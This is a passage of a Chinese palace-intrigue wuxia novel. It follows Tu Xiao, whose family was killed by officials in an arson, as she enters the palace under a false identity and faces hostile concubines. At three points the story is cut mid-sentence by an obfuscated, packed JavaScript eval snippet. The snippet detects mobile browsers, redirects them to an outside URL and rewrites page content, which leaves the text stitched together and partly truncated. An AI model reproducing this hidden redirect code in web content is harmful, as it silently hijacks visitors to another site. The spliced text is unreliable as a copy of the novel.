死状凄惨,伤口狰狞,绝非寻常江湖比武所为,倒像是遭受了大刑逼供。 虽然那故交的妻女并未对她有任何责怪,还竭力挽留她,不肯让她出去冒险。 可面对那与她年纪相仿的女孩,面对那双盛满了伤痛的双眸,她无论如何也不忍再留。 屠家人的身份,只会给旁人带去灾祸。前路渺渺,她注定是孤身一人。 如今想来,万柳的死,究竟是不是因她而起呢? 屠骁摩挲着小臂,两个吐息之间,呼吸已经恢复平静。 不重要了。 这笔账她已经一并算在了那些人头上。 她甚至期盼万柳的死与章怀恩有关。如此,她便可将所有的恨意尽数倾注在对方身上,在报仇的时候也将收获成倍的快慰。 今日匆匆一见,瞧得出章简位高权重,年仅二十便已坐上了权都知之位,必是颇得章怀恩爱重的好儿子。 那么,便从章简下手好了。 4. 云州屠家 云州城四方通衢,东接沧浪,西扼荆山,自古便是兵家必争之地。城外更有奇峰耸峙,飞瀑流川,景致冠绝一方。 可江湖人来云州,不为山水,只为拜访桃源山上的屠家。 屠家世代隐居在桃花林,逍遥度日,行事低调,不喜张扬。 屠骁却是恰恰相反。 十五岁的少女,已经能骑着一匹一人高的黑马,挂着短剑,呼啸着奔扫过长街。 她还未长开,眉眼间尽是少女的娇憨,却偏要学着江湖豪客的模样,昂首挺胸,目不斜视,嘴角勾着自以为潇洒的笑。 “小娘子,今儿又去哪里疯耍?”有人唤她。 她并未驻马,清脆的声音一阵风似的吹过,又迅速飘远。 随着声音落下,半贯铜钱顺着窗子“咚”的一声砸在案板上。 “备些下酒肉,我稍后来取!” “早备好了,老几样——哎,慢些跑!” 她已听不见那人的叮嘱了,因为她的马已经在一间果子铺停下了。 马尚未停稳,人已经迈步入了铺中。 “屠家小娘子,新做的酥油泡螺,加了桃花,要不要尝尝?” 她便甩下一串钱,丢在案上,也不说话,只伸出两根手指敲了敲桌,掌柜的立刻会意,用竹箪盛了两个递过来。 她看着整条街的人笑,整条街的人也看着她笑,那笑意里是亲近、是纵容。 这云州城里,谁人不知屠家娘子? 她招摇却不蛮横,不羁却不傲慢,放纵却不无理,时常招猫逗狗,也不过是小孩子家的顽劣,无伤大雅。 屠家百年铸兵,来云州城求铸兵器的人络绎不绝,这些江湖豪侠出手阔绰,单是吃饭饮酒便能叫酒楼茶肆赚的盆满钵满。 更兼屠家历来乐善好施,修桥铺路,开棚施粥,活人无数,云州百姓早已将屠家视若自家人。 屠骁正与掌柜说笑,却叫一个人打断。 他急匆匆跑来,气喘吁吁:“娘子,不好了,我方才瞧见一队官兵往桃源山去了!” 她脸上的笑容霎时凝固。 她抢出门外,翻身上马,便要离开,身后传来果子铺掌柜的喊声:“哎,酥油泡螺不要啦?” 她头也不回地喊了句“要”,身形却未停。 马蹄飞驰,她忽然一个回身,整个人弯腰悬身,手臂舒展,探手一勾,便将那竹箪稳稳地勾入手中。 这果子金贵,软绵绵的一团,一碰就散,入口就化,吃了如同没吃一样。 若不是她娘好这口,她才不肯花这个冤枉钱。 一路疾驰,她的手指小心翼翼地翘着,生怕碰坏了那五十文一个的金贵货。 风在耳边呼啸,将一声声“小娘子”“慢些跑”“当心”的呼喊远远甩在身后。 后来,她回到了桃源山。 山上的桃花坠了满地,酥油泡螺被马蹄踏扁,与桃花烂成一片。 披坚执锐的官兵将屠家山庄围得水泄不通,刀枪出鞘,寒光凛冽。 爹娘、祖父祖母、叔伯婶娘被刀抵着脖颈跪在地上,庄里几十号人,从白发苍苍的仆役到尚在襁褓的婴孩,悉数被押在院中。 她看见一个圆滚滚的背影,穿着紫色的华贵衣袍。 那人捻着胡须,义正言辞地说着一些她不懂的话,宣读着一些莫须有的罪名。 她听见爹爹和祖父低声安抚她:“不要冲动,唐王已然平反,朝廷只是问话,待到了京城,解释清楚便好。” 她爹爹怎么会说出那样的蠢话?她又怎么会信了那样的蠢话? 可那时她只有十五岁,与世代幽居的屠家人一样,以为世间自有正义,以为因果皆有业报,天真愚蠢得令人发笑。 她不记得自己是怎样被押送上路,也不记得路上有怎样的折磨。之后的一切都不清晰了。 唯余火,冲天的大火。 黑烟浓密呛人,红光诡异变形,热浪灼人肺腑。 可这火烧得实在太寂静了,没有一声惨叫,没有匆忙的脚步,更没有呼喊救火的喧嚣。 她身侧,婶婶和祖母的身躯早已冰冷僵硬,颈侧也再无脉搏。 她默然片刻,才惊觉她们已是死了。 只要到了京城,就能洗清冤屈,屠家还能回到原来平静的日子…… 只要到了京城,就能真相大白! 他们还在半路的驿馆,她还要到京城去,她不能哭,绝不能哭。 眼泪只会模糊视线,拖慢脚步。 她抬手抹去眼角的湿意,强压下心头翻涌的悲恸,用滚烫的半壶茶打湿了衣袖,猫着身子,摸索着往门边挪去。 每挪动一步,脚下便传来枯叶般的沙沙声,那是被烧焦的木屑。 空中弥漫着桐油刺鼻的气味,她摇晃着房门,门却纹丝不动,显然是被从外面锁死了。 她不死心,又转而扑向窗子,使出全身力气摇晃。 天无绝人之路,窗子竟一下子开了! 原来外面的锁只是虚虚挂着,并未真正锁上。 巨大的气流瞬间涌入,火势轰燃,她被猛烈的热浪掀翻在地。回头看时,婶婶和祖母已被熊熊烈火彻底吞没。 她只是顿了一瞬,便纵身跃出窗外,脚尖轻点在楼下屋檐,身形如燕,直奔另一间房而去。 那间屋子也弥漫着浓郁的桐油味,窗上挂着锁,火光从窗缝中透出,映照着她苍白的脸。 她犹豫了片刻,随即咬牙,使出全力,猛地撞碎窗扇。 不出所料,屋内的火舌如同见了血的野熊,一下子咆哮起来。 “爹爹!翁翁!叔叔!二郎——” 然而没有任何回应。 她再没有水可以打湿衣袖,只能死死捂住口鼻,一头扎进了火海。 屋内,火势已不可收拾,床榻、桌椅、梁柱,无一不被烈焰舔舐。男丁们都安然地躺在床上,平静安睡,显然在火起之前便已断了生机。 她的母亲则趴伏在门口的地上,维持着往前爬的姿势,五指深深抠入地面,指尖已是血肉模糊,腰上躺着半根横梁。 爹娘、祖父祖母、叔婶,甚至那么小的堂弟都…… 泪水早已被滚滚热浪烤干,她只觉得头晕目眩,四肢发软。 就在她以为再无生还者时,耳边突然传来一阵细碎的呻吟。 她循着那微弱的声音踉跄而去,在一处角落发现了那位老迈的仆役。他身躯佝偻,气息奄奄,连番变故已经将他彻底击垮。 此次进京只召了屠家人,她虽好奇他为何在此处,却也顾不得多想,二话不说便架起他,想要带他冲出去。 那老仆却抬手往她嘴里塞了一枚药丸。 “快走,不要报仇……” 他低喃一句,又笑了,“其实,你该叫我一声高祖……” 话音未落,那枯手竟爆发出一股惊人的蛮力,猛地将她推开。 她彻底愣住,甚至来不及反应,便被甩出窗外。 那人在火光中摇摇晃晃,步入火焰深处,如同一截枯枝,瞬间被火舌折断。 她侥幸逃脱,伏身在驿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007988|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆背后的树林,眼睁睁看着那圆脸太监领着一名小太监静静伫立楼前。 官兵将小楼团团围住,寂然不动。那两人负手而立,冷眼旁观着冲天大火,火光在他们的瞳孔映出金芒,活像从沼泽深处酿出的恶鬼。 彼时她尚且年幼,想不通屠家到底哪里招惹了官府,更不明白他们为何要煞费苦心,演出这样一场“江湖寻仇、毁尸灭迹”的戏码。 数年后,她才从一个刺客口中得知了“长生箓”一物,所有的谜团才如冰雪消融,露出染血的真相。 原来,屠家有一至宝“长生箓”,乃是一种神秘功法。据说修习之后,不仅能延年益寿,甚至可达长生不老之境。 此物玄之又玄,听者多半嗤之以鼻、不屑一顾,但屠骁却明白确有其事。 单凭屠家高祖还活着一事,便足以证明其真实不虚—— 他已活了一百三十七岁。 若非那场大火,他究竟还能活到几时犹未可知。 屠骁问那刺客:“你也是为了长生箓而来?” 刺客中了屠骁的剑,已四肢瘫软,不得不实话实说:“正是!” 屠骁轻笑。 刺客不解:“你为什么笑?” 屠骁敛了笑,反问:“你从哪里得来的消息?” 刺客答:“自然是江湖上传的,大家都想长生,我也是如此。难道你不想?” 屠骁又笑起来。 刺客被她的笑戏弄了,有些气恼,再次发问:“你究竟为什么笑?” 屠骁叹了口气。 “因为我想长生,却不会把希望寄托在什么功法秘籍上。譬如眼前,你该寄希望于我的剑上,我的剑若是再往前,你便是有了长生箓,又哪里有命修炼呢?” 可惜那刺客已经听不到了。 屠骁的剑没有给他希望。 他死前眼睛还圆睁着,充满了不甘,仿佛在说…… “求、求求你……放、放了我吧……” 细碎的求饶声钻入屠骁的耳膜。 她豁然睁眼,视线所及,是一截女子的手臂,正被她死死钳住,手掌已被她捏得发紫,再捏上一会儿怕是要断了。 那女子的身子在纱帐之外,已是半跪在地,不知是被吓傻了,还是被疼痛夺去了声音,只剩下不成声的呜咽和求饶。 屠骁忆起自己身在宫中,猛然松了手。 她利落地从床上坐起,掀起床帐,赤脚踏在地上,看清了那宫女的面貌。 “对不住。” 她欲伸手将那宫女扶起。 那宫女却像兔子见了狼一般,揉着自己的手腕,连连往后缩,也顾不上什么宫中礼仪了,连滚带爬地飞跑出了门。 桌上摆着一碟精致的果子,还有一整套新的宫装和头面,颜色虽素,倒是较昨日那套精致典雅许多。 屠骁三两下穿上衣服,然后拿起梳子,手腕翻了两翻,便将一头青丝挽成了髻,整个过程连半盏茶的功夫都不到。 就在她手中握着簪子,正准备插上去的时候,忽的传来一串整齐的脚步声。 脚步声停在门口,一个年纪稍长的女声响起。 “请娘娘安。娘娘请随臣等前往守静宫。” 屠骁抬手推开门,只见门外立着两列六名宫女。打头的却是个太监。 “这位是……” 她手中转着簪子,如同把玩一柄剑,面上却一副睡眼惺忪、记性不好的模样,懵懂发问。 “回娘娘的话,臣名章简,任守静宫掌事。往后,便是您的人了。” 5. 下马威 天色未亮,几颗残星尚缀在天幕上,守静宫的灯火便已次第燃起。依着宫中礼制,新晋的妃嫔迁宫礼节颇为繁琐,但屠骁是为姐姐守孝,一切从简,只行了简单的“安宫”“开箱”之仪。 守静宫的人手都已配齐。 四名贴身侍奉的宫女,两名女官,两名黄门,外加一个掌事太监。 女官之首名唤元鸣,掌管宫中记事、文书与礼仪教导;另一位则负责衣食起居。 黄门则主理内外传达洒扫。 众人个个垂首敛目,行礼时连衣角拂过地面的声音都整齐划一,不见半分怠慢,也并无半分谄媚。 屠骁的目光掠过众人,最终落在章简身上。 章简并没有端起一宫掌事的架子,反而笑意柔和。 可她瞧着,众人今日如此规矩,并非全然出于宫规的束缚,倒像是对章简的敬畏。 也对,似他这样表里不一、心狠手辣的人,不知背地里怎么整治宫人,众人又怎会不畏惧呢? 收拾妥当,一行人便去中宫向圣人请安。 这是新妃入宫的头等大事,需行参拜礼,经宣见、赞导、初拜、聆训、引见诸般流程,由圣人训话,再将新妃引见给合宫嫔妃。 至于官家,需再等些日子才能见到。好些娇花连圣人的手都没熬过,就悄然折断在花丛中,零落成泥了。 秋寒刺骨,朔风阵阵。 屠骁领着章简和元鸣在清微宫外足足等了一个时辰。 宫门紧闭,不见半点传召的意思。 偏他们站的地方还是个风口,冷风针扎似的打在脸上,不多时,元鸣的脸和手就已经冻得发白,整个人摇摇欲坠了。 屠骁身强体壮,自是毫发无损。 她瞥了一眼腰背挺得笔直的章简,在尚宫女官的注视下,动了动手腕,又转了转脚踝,脑袋在半空慢慢地、挑衅似的画了一个整整的圆。 她话说得客气:“劳烦尚宫再去看看,圣人可起了?” 只是那伸腰转腿的架势,倒像要随时打进门去。 那尚宫深深看了她一眼,一言不发地进了正殿,片刻后出来,只冷冷吩咐屠骁候着,说圣人还未起身,她们不敢搅扰。 宫中唯有圣人宫内才设尚宫,论品秩,与屠骁这位昭仪已是平级,自然不好当面争执。 屠骁是等得的,她也确实想见见这位周皇后是何等人物。 可惜,万棠是个纵马山林的急性子,在寒风里站一个时辰已是极限。 屠骁抬眼看了看日头,金乌已越过殿角飞檐。她呵出一口白气,转身便要走。 “娘娘,不可!” 章简一个迈步拦在她身前,低声劝阻。 屠骁下意识抬手,内力已全然蓄在手上,只待一掌劈出。 那股凌厉的掌风到了半途,却生生收回,硬是化作轻柔的搀扶,稳稳托住了章简的手腕。手指用了几分力气,止住了他想要行礼的动作。 “章都知,”她语气不耐,顶着一张精心妆点过的脸做出打抱不平的表情,更显得野气横生。 “你们都站了一个时辰了,我皮糙肉厚倒是无所谓,只怕元司宫和你的腿脚吃不消。咱们走,皇后要怪便怪我好了。” 章简下意识纠正:“该称皇后为‘圣人’。” 话一出口,他自己也皱了眉。 他的腿伤自诩掩藏得极好,行走坐卧与常人无异,只有站得久了,旧伤处的酸麻才会浮上来,步态间会泄露出些许凝滞。 来这一路,她一个正眼都没看过他,又是怎么瞧出自己腿脚不便的? 元鸣摸不清新主子的脾气,却瞧得出这位章都知已是不悦,未免遭受波及,顺势道:“娘娘且稍后,臣再去与尚宫请示。” 说罢,搓了搓手,稳步走入门内。 待元鸣离开,章简这才惊觉娘娘的手还搭在自己的腕上。她不知吃了什么大补的龙肝虎胆,站了这许久,手劲还这样大,手心也滚烫如初。他本该一瞬间便反应过来,她有功夫在身上。 可他还从未与人如此亲近过,这轻轻一托,霎时扰乱了他的心神。 他入宫时年纪尚小,又处处以干爹为标榜,克勤克俭,一门心思放在苦练武功上,倒是对这男女之事并不上心。 义兄弟中,有的养着相好,分分合合,你追我逃,他既不理解,也不羡慕。 总归是少了些东西,再怎么找补也找补不回来,徒增烦恼罢了。 可他不在意,难道万昭仪也不懂得男女大防么? 此处可是圣人殿外,如此不拘小节,叫人瞧见了如何是好? 他心中只乱了一瞬,不动声色地抽回手,往后退了半步,恭敬道:“多谢娘娘体恤,臣不碍事。此乃应尽之礼,娘娘只管看顾好自己,臣便知足了。” 屠骁却笑了起来。 “那怎么行?你既是我的人,我便不会叫你被人欺负。” 她语气坦荡,笑靥天真,还不忘与他调侃,“实话实说,你是不是与这里的人有过节?方才那太监打这儿经过,见你被站在殿外,那脸上可是明晃晃地写了四个字:小人得志。” 章简依旧是半弯着双眼和唇角。 “都是一心为主,哪来什么过节呢?便是真有过节,也是臣嘴拙手笨,惹恼了旁人。” 屠骁也不追问,话锋一转,道:“你可知道我姐姐葬在哪里?” 章简一惊,没想到她经如此直白,压低了声音道:“先淑妃未葬入皇陵,丧仪也未交由内侍省和礼部操办,臣不得而知。” 宫妃自戕,不准葬入皇陵倒是可以理解。 “那她是否有寺观供奉,我总要去祭奠一番的。” “此事由圣人一力主办,未假人手,臣等一概不知。” “难道就没人过问么?” 章简只淡笑道:“在宫里,好奇并不是什么好事。” “我不信,只要是人,或多或少都有些好奇心的。难道你没有?” “臣没有。” “是吗。” 屠骁饶有兴味地欣赏着他与自己打机锋的模样。 不得不说,他这张脸极具欺骗性。 柔和的鹅蛋脸,狭长的双眼总是含着恬淡的笑意,眉目间尽是少年气,声音清脆温和,整个人干净得像雨后竹林里冒出的一根嫩笋。 谁又能想到,这根嫩笋的芯子早就烂透了呢? 不多时,元鸣回来了,面色不大好,却带来了一个好消息。 “圣人方起身。尚宫传了话,圣人道,娘娘尚在孝期,她身子不适,便不宜见了。圣人已着人去请宁妃娘娘,由宁妃娘娘代为主持参拜礼。” 说罢,便见院外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些残荷之中,竟还飘着数盏宫灯,赤橙黄绿,形态各异,以绳结连成一串,将这萧瑟秋景衬出几分风雅意趣。 屠骁一副没见过世面的样子,驻足赏看,四处张望。 章简没开口,元鸣也不敢催,只得一脸隐忍地跟在后头,心中止不住地叹气。 引路的宫女一路安静不语,也不开口催促。 她们衣着朴素,皆是素面罗衫,不见半点绣花。就连宁妃本人,也是白衣飘飘,一副傲风而立、清冷绝尘的仙姿装扮。 可屠骁知道,这样的仙气只是伪装。 因为她已经瞧见了宁妃的脸。 那张脸非但没有仙气,反而妖气十足。 那女子斜倚在水榭的栏杆上,脸上敷着珍珠底粉,白得近乎透明,眼尾用胭脂晕开一抹张扬的绯红,额间贴着金箔裁成的宝相花钿,唇上则染着冶艳的朱红。 浓艳逼人,妩媚妖娆,如同埋伏在雪洞里的红狐。 见了屠骁,宁妃的眼皮都未掀起,只将视线冷冷扫过她,扬手抛了鱼食,任由宫女用帕子擦着指头,冲赏景的众妃道: “吹了这半天冷风,总算把这尊大佛等来了,还不赶紧进屋?” 6. 又一个下马威? 显然,圣人不单给了屠骁下马威,还顺手摆了宁妃一道。 这本是理所应当。 后宫中的女人本就如蛊虫一般,不是你吃了我,就是我吃了你。 屠骁不在乎圣人要吃谁,只想知道究竟谁吃了柳娘。 宁妃面色不虞,众妃不敢言语,安静地鱼贯而入。 正殿陈设颇有几分仙人洞府的清雅。四壁皆是名家字画,或以瘦金体书就的道家经文,或以泼墨绘就的山水长卷。数道紫檀木雕花屏风错落摆放,将殿内空间隔得曲折幽深。 最引人注目的,是满屋盛放的金丝皇菊,以各式青白瓷的花瓶和古朴的铜器、竹篮盛放,香气清冽,沁人心脾。 正对门口的香案上,还供奉着一尊太上老君的白玉雕像,香炉里青烟袅袅。 宁妃坐于上首一张铺着白狐皮的交椅上。 宫女正小心翼翼为她解下肩头的狐裘披风,另有人接过她手中的鎏金手炉,躬身退下。 她端坐其上,眼尾上挑,不言不语。 炉子是暖的,气氛却是冷极。 屠骁却似是未觉,饶有兴致地欣赏起满屋莺莺燕燕。美人就是美人,各有各的过人之处,官家当真有福,品味也当真是驳杂。 在一众花枝招展、红衣绿裙之中,宁妃这一身素白显得尤为突显。 或许这仙子装扮配上媚艳妆容,便是她与众不同的争宠手段。 众人各自寻了位置落座,屠骁依着位分,坐在下首第一张椅子上。 宁妃一双狐眼死死锁在屠骁脸上,仿佛将她当作在嘴边蹦跶的兔子。 半晌,她才懒懒抬手,唤了一声。 “司仪女官何在?” 一名女官应声而出,宁妃这才开了金口。 “圣人身子骨弱,三天两头不爽利,今日这参拜礼便由我代为主持了。万昭仪新入宫,往后要谨遵宫规,多多体谅圣人,不要无事犯蠢,叫她费神才是。” 而后轻描淡写地说了几句场面话,便端起身子,示意司仪女官请来皇后凤印。 “跪下吧。” 依着礼制,屠骁起身,行至殿中,敛衽下拜,三跪九叩。 整个过程繁琐冗长,她却做得一丝不苟,身形稳健,不见半分摇晃。 礼毕,宁妃又命人将宫中妃嫔一一介绍给屠骁。 周宫之中,一后四妃九嫔,其下婕妤、美人、才人等,林林总总,三十余人。 今日皇后避而不见,四妃中一死、一空,到场的也只有宁妃与德妃两人,屠骁这昭仪尚算品级高的。 宁妃与德妃公事公办,九嫔大多神情冷淡,只依礼问候。等轮到更低阶的妃嫔时,场面便有趣了起来。 “昭仪娘娘这一身可真是素净。” 一个身着桃红宫装的婕妤开了口,手中的团扇掩着半张脸,露出的眼睛里满是轻佻。 “莫不是想学宁妃娘娘的仙人风姿?只可惜东施效颦,再如何装扮,也不过是画虎不成反类——” 她话音未落,旁边一位美人便“好心”地接了话。 “林婕妤怕是忘了,昭仪娘娘尚在热孝之中,自然不宜穿得太过张扬。” 那林婕妤闻言,像是听到了天大的笑话,手中团扇“啪”地一拍。 “周律有载,亲眷获罪,不得服孝。这可是官家亲下的旨意,妹妹难道不知?” 那美人面露尴尬,小声道:“此事已经过去了,官家宽仁,就连圣人都不再计较,我等还是不要妄议了。” 林婕妤鼻尖一耸,发出冷哼。 “也罢。只是可惜了那位司药娘子,一片真心错付,到头来死得凄凄惨惨,面目全非。” 两人一唱一和,殿内其余妃嫔皆垂首品茗,无人言语,宁妃更是连眼皮都未曾抬一下。 待那两人说得尽兴了,宁妃才慢悠悠地放下茶碗,碗底与桌面轻轻一碰。 “头疼。” 她淡淡开口,冲一旁的宫女道,“上月南启进贡的白孔雀,你且牵来给她们开开眼,免得她们闲坐无事,只会乱嚼舌根。” 林婕妤霎时噤声,暗自飞了屠骁一眼。 屠骁回以一笑,倒叫对方挑了下眉。 德妃上了年纪,素来体弱,趁机告退回宫,且由得年轻人自己闹去。众人则依着宁妃的吩咐,移步偏殿。 偏殿四角燃着薰笼,暖意融融。 四面墙上挂着名家的花鸟图,角落的博古架上摆着各色珍奇。殿中梁上还悬着一对精巧的铜制小鸟,腹中设有机关,能发出清脆婉转的鸣叫。 两只通体雪白的孔雀脖子上挂着金链,正在殿中昂首踱步。 驯鸟的太监手执长杆,杆头绑着五彩羽毛,在长杆的引导下,两只孔雀慢慢抖开了尾羽,引来一片惊叹。 少了二妃在场,众人的言语便再无顾忌。 如此如此,这般这般,叽里咕噜。 说的无非是“万棠”家教不好、粗鄙无状、不通文墨、罪臣之后、攻讦她的脸“女生男相”的。 甚至还有以典故暗讽,可惜她们口中的“农女”压根听不懂,白眼翻给了瞎子看。 屠骁将这些机锋听了满耳,愈发觉得有趣新奇。 可一旁的元鸣却忍不住了。 她自掖庭调来守静宫,一朝飞黄腾达,深知宫人与主子一荣俱荣、一损俱损的道理,死也不愿失了这个好差事。 加之她本就性子耿直,叫那些聒噪声吵得满面通红,当即便与人争执起来。 只是对方皆是主子,她一个小小的女官,言语间处处受制,很快便落了下风,被挤兑得眼圈泛红,泪水涟涟。 林婕妤身边的宫女见状,暗中错后一步,趁人不备,悄悄伸出手探至元鸣身侧。 她们此时已是在偏殿的角落,身后便是一个半人来高的薰笼,里头罩着的炭盆燃得正旺。若是不留神摔倒,即便不被烫伤,也要结结实实磕上一下。 葱葱玉指伸出,瞄准元鸣的腰眼,猛地向前一送。 “娘娘怎么靠得这么近……” 元鸣以袖拭泪,疑惑地望向身侧的屠骁。 屠骁挑起一边眉头:“因为你后面有只臭虫。” 元鸣吓了一跳,低呼:“啊,哪里?” 等转过身,方才明白屠骁为什么如此说,也明白自己为什么一点动静都没有察觉。 只因在她身后,那宫女已经被屠骁扣住手腕筋脉,半边身子麻软,疼得失了声。 虽只用了两指,宫女已是丝毫动弹不得。 “我很欣赏你,你是聪明人。”屠骁笑道。 她知道那宫女不会发问,自顾自解释道:“因为你知道,对付我这样的粗人,弯弯绕绕我是听不懂的,不如直接动手,干脆利落。” 她一脚踢翻薰笼,踩在炭盆边缘,捉着那宫女的手作势往火里伸。 炭火滚烫,她却恍若未觉,这样粗俗的动作倒叫她做出一股把酒凭栏的潇洒。 她继续道:“可你又很蠢。你既知道我是粗人,也敢在我面前动武,岂不是自讨苦吃?” 她又转向众人。 “你们若论文,我便讲文。别的且不说,《女戒》有云,妇言,不必辩口利辞。宁妃娘娘叫你们来看孔雀,正是不想听你们在此聒噪。各位还是安分些好。” 那宫女面如死灰,连叫也叫不出了,她万万想不到今日不过戳了别人一下,还没戳中,竟要舍掉一只手! 她怔怔望着屠骁,已做好了迎接剧痛的准备。 可剧痛没有袭来。 她只觉力道陡然一松,跌坐在地。待要哭嚎时,忽的发觉手腕不疼了,非但不疼,竟连被掐过的痕迹都没有。 她自啧啧称奇,周围几个妃嫔皆是脸色骤变。 屠骁说罢,便转身走至一旁,径自欣赏起墙上的字画。 元鸣后知后觉地发现自己是被救了,扬起下巴哼了一声,快步追了上去。 殿内喧嚣依旧,也不知道方才的事叫几个人听了去。 屠骁正看得入神,一道细如春雨的声音忽的自耳畔响起。 “所谓治国必先齐其家者,其家不可教而能教人者,无之。昭仪娘娘以为,此句何解?” 屠骁侧目,便见一名眉目如画、气韵娴雅的女子俏生生立于身侧。 方才那一番闹剧,林婕妤等人躲瘟似的躲远了,无人再敢靠近屠骁。如此看来,这位甄修仪是专程来寻她的了。 在正殿行礼时,此人始终安静,未发一言,原来是有话想要单独说。 屠骁勾起唇角:“难道你不知道万昭仪粗俗鄙陋,大字不识,连书都未曾读过?哪里来的什么见解?” 甄修仪神色自若:“读不读书又如何呢?读过了书,便能超然物外,做了人上人么?” 屠骁将视线转回那幅字上。 “那便请修仪为我解惑吧。” 甄修仪便低声解释:“此句出自《大学》,意思即是,人若要安邦定国,必先整治己家,约束家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007990|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人言行。古有石碏诛子、叔向戮弟,可今世之人,多是亲誉私爱,真能大义灭亲、凛然正法的又有几个呢?” 她说完,看向屠骁。 屠骁反问:“你以为呢?” 甄修仪嘴角含笑:“我一个后宫女子,与我有什么干系?” 屠骁于是道:“与我自然也是没什么干系。” 甄修仪不再说话。 三言两语,她已能确认这位万昭仪机锋暗藏,并非能轻易探出虚实。 一时两人皆是静默,只并肩立于那字画之前,各怀心事。 就在甄修仪转身欲走时,屠骁却忽的低声喃喃:“假使经百劫,所作业不亡,因缘会遇时,果报还自受。” 此句正是《大宝积经》中的偈语。 甄修仪霍然瞪大了眼:“你——” 话未说完,便听“哎呀”一声惊呼。 屠骁身子一晃,一滩褐色的印迹迅速从她腰后爬到身前,顺着裙摆瀑布般滑落,在脚边汇成一汪水潭。 撞人的是个宫女,手中的茶壶已空了。 那混着胡椒、姜末和盐的滚烫茶汤,悉数喂给了屠骁的素白衣裙。 殿内所有人的目光瞬间都汇聚过来。 那宫女“扑通”一声跪倒在地,连连叩首求饶。 “臣该死!宁妃娘娘特命臣来给各位娘娘送些热茶暖身,不想脚下打滑……” 林婕妤眼底闪过得色,假模假样地训道:“你这蠢材,怎么如此笨手笨脚!还不快去我屋里取件干净衣裳来……罢了,还是请昭仪娘娘直接去我那里换吧,可千万别着凉了!” 元鸣见屠骁面色坦然,不见半分恼怒,心中顿时焦急万分。 这宫里阴私手段颇多,一旦关起门来,叫人擒住了,那便跟任人宰割的鱼肉没什么两样。 有些经验老到的宫人专会捡那见不得人的地方搓弄,要么针扎、要么指掐、要么用铜丝烫,保管叫人疼的撕心裂肺却瞧不见丁点儿伤痕。 她俨然已经忘了,自家娘娘方才已经使过了这一招,甚至还比那些宫人的手法更加高明。 元鸣当即上前一步,硬着头皮道:“不敢劳烦娘娘,我家娘娘带了披风,这就回宫更换。” 她不敢离开去取,立在原地,冲着门外喊:“请章都知进来!” 她嗓门不小,存了以这名字唬人的心思。 林婕妤脸一沉:“主子还没回话,有你这奴婢插嘴的份儿?” 她又催促那跪地的宫女:“还不快扶昭仪娘娘去换衣裳,非要叫她如此出丑么!” 那宫女只得应下。 林婕妤身后,方才那被擒的宫女眉头一拧,立刻靠近了一步。 两人一左一右,将屠骁夹在中间。 屠骁却纹丝不动。 她想,林婕妤的住处就在这云笈阁的侧院。方才见礼林婕妤那般放肆,宁妃也未曾出言阻止。 看来今日这一出,从头到尾,都是宁妃的手笔。 莫非也是为了给她个下马威? 这宫里人不多,马倒是不少。 林婕妤的宫女见屠骁不动,心内焦急,胆子也大了起来,直接伸手来拉她的胳膊。 只是,指尖还未触到屠骁的衣袖,便身子一颤,似是被一股风拂开,踉跄两步,一屁股坐到了炭盆边上。 “啊——!!” 她猛地蹿起来,手忙脚乱扑着屁股后头。 那奉茶的宫女更是一僵,手臂似是遭了雷击,剧烈抽搐扭动起来。不过片刻,手背已变成一片惨红。 她终于发觉,方才的热茶不仅泼到了娘娘的衣裙,也泼到了自己手上,顿时哀嚎连连。 妃嫔们何曾见过这等惨烈的景象,登时吓得连连后退,挤作一团。 林婕妤更是花容失色,大喊:“你、你这是什么妖术!” 就连元鸣也被吓住了,缩着手,讷讷地不知所措。 屠骁面色不改,无奈道:“你们都瞧见了,我可没碰到她。” 凄厉的尖叫声惊扰了白孔雀,两鸟振翅欲飞、指爪乱挠,却叫锁链绊住,在空中横扫,刮乱了一尊尊精心梳理的发髻。 一时间,宫人们忙着安抚孔雀,妃嫔们惊叫躲闪,现场乱作一团。 混乱之中,也不知是谁绊倒了林婕妤,她扑通一声摔倒在地,衣袖上叫人踩了好几个脚印,发髻上落了一滩稀淋淋的鸟屎。 正在这时,门外响起一声冷叱。 “闹够了没有!” 7. 麻烦终于找上门 门口立着一道人影。 那张脸拢在雪白的狐毛里,像一朵开在冰天雪地里的山茶。只是那山茶带着刺,叫人没有胆子欣赏。 宁妃娘娘骂人可是很难听的。 驯鸟的太监见了宁妃,已知大祸临头,心一横,攥在手里的金链猛地收紧。 两只白孔雀哀嚎一声,撞在一处。他则就势扑了上去,张开手臂,将仍在挣扎的鸟死死压在身下,口中发出一串急促而低沉的哨音,总算将那对受惊的畜生安抚下来。 宁妃声音恹恹,眼角高高挑起,食指揉着额头:“本就头疼,这下叫你们吵得心口也疼了。” 她视线懒懒一抛,落在那奉茶的宫女身上。 那宫女说不清是疼多一些,还是惧多一些,浑身已是大汗淋漓,闻声挣扎着爬起来,哆哆嗦嗦地跪好。 章简就跟在宁妃后头,手里捧着一件披风。 